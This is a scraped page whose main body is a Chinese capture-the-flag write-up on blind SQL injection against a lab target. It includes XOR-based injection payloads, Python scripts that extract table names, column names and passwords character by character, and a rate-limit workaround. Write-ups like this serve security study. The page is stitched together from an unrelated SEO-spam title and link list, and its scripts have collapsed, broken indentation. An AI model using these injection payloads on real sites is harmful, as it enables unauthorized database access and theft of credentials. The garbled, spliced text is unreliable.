当前位置: 首页 > news >正文

优购物官方网站直播网站分为四个步骤开发建设

优购物官方网站直播,网站分为四个步骤开发建设,东莞制作网站公司哪家好,发帖软件1、这题的关键是找注入点,如果选择用户名、密码作为输入点就麻烦了 2、注入点:按钮,点击就传id;当id1时,提示Click others   可以利用id的特性,构造异或匹配   payload: f"1^(ord(substr((select…

1
1、这题的关键是找注入点,如果选择用户名、密码作为输入点就麻烦了

2、注入点:按钮,点击就传id;当id=1时,提示Click others
  可以利用id的特性,构造异或匹配
  payload: f"1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{j},1))={i})^1"
  payload有两个异或:1^表达式^1
  如果中间为真,则返回1,那么
  01^01(前异或)=00^01(后异或)=01=1 —— id=1 —— 也就是提示Click others
  如果中间为假,则返回0,那么
  00^01(前异或)=01^01(后异或)=00=0 —— id=0 —— 也就是提示Error

3、查出表名:1n1yl\11yaa(这个结果错误的,通过下面的查询,查不出列)(查看re后发现,请求会提示429,too many requests)
  解决方法:查询频率太高了,使用**time.sleep(0.2)**解决
  查出表名:F1naI1y,Flaaaaag

4、payload: f"1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=Flaaaaag)),{j},1))={i})^1"
  查出列名:id,fl4gawsl(查到NO!NO!说明flag不在这个表)

5、payload: f"1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=F1naI1y)),{j},1))={i})^1"
  查出列名:id,username,password

6、payload: f"1^(ord(substr((select(password)from(F1naI1y)),{j},1))={i})^1"
跑了半小时得到:cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www. ,还是没有拿到flag,速度太慢了
换二分法得到:flag=cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{f1319cf3-b1e6-46d6-9473-c857240bcdee}
注意:不论是什么方法,sleep都必须要,否则频率太高就查不出来了

脚本:速度太慢

s = requests.session()
url = "http://29cc5d3e-b351-41f6-9266-205c0e2f9064.node4.buuoj.cn:81/search.php?id="
result = ""
for j in range(1,10000):for i in range(1,128):#过滤空格、and等关键字payload = f"1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{j},1))={i})^1"#payload = f"1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='1n1yl')),{j},1))>{i})^1"data={"id":payload}time.sleep(0.2)re = s.get(url+payload).text#re = s.post(url,data).text#print(url+payload)#print(re)if "Click" in re:result += chr(i)print(result)break

脚本:二分法

def payload(i, j):sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)data = {"id": sql}r = requests.get(url, params=data)time.sleep(0.06)# print (r.url)if "Click" in r.text:res = 1else:res = 0return res
def exp():global flagfor i in range(1, 10000):print(i, ':')low = 31high = 127while low <= high:mid = (low + high) // 2res = payload(i, mid)if res:low = mid + 1else:high = mid - 1f = int((low + high + 1)) // 2if (f == 127 or f == 31):break#print(f)flag += chr(f)print(flag)
exp()
print('flag=', flag)
http://www.sczhlp.com/news/117912/

相关文章:

  • 新网站怎么做网络推广表格制作教程 步骤
  • 网站建设进展情况汇报展厅展览
  • 淘宝优惠券返利网站怎么做个人小型网站建设
  • 威海做网站whhl福田公司门口
  • 梅州市做试块网站装修网站设计案例
  • 在线手机动画网站模板下载安装上海建设工程学校网站
  • 网站设计色彩搭配就业服务网站建设方案
  • 泉州seo网站关键词优一键优化什么意思
  • 清河网站建设多少钱盈江城乡建设局网站
  • 湛江网站开发如何做网络推广公司
  • 网站建设 部署与发布视频陕西公共资源交易中心官网
  • 网站板块设计沈阳自主建站模板
  • 广州网站定做教程wordpress 增加小工具
  • 一个只做百合的网站深圳做棋牌网站建设哪家公司收费合理
  • 程序员培训机构哪家好想建网站做优化
  • 营销案例分析网站长沙网站推广公司哪家好
  • 深圳网站开发企业荷兰服务器租用
  • 机械公司网站建设阜阳做网站的公司
  • 互联网定制产品网站奇璐荣获北京十大高端设计公司称号
  • 如何做区块链网站linux做网站优势
  • 做网站定制的一般什么价位c++软件开发需要学什么
  • 西宁做网站君博认同软件开发模型图
  • 网站开发费分摊多少年网站开发付款分几步
  • 软装设计专业seo顾问阿亮
  • 重庆网站建设推荐赣州哪里可以做网站
  • 网站制作设计多少钱扁平化设计
  • 建筑公司网官网网络优化基础知识
  • 白沟网站开发哈尔滨手机建站模板
  • 衡水淘宝的网站建设wordpress audio player 下载
  • 南京旭光建设监理网站首页双城网站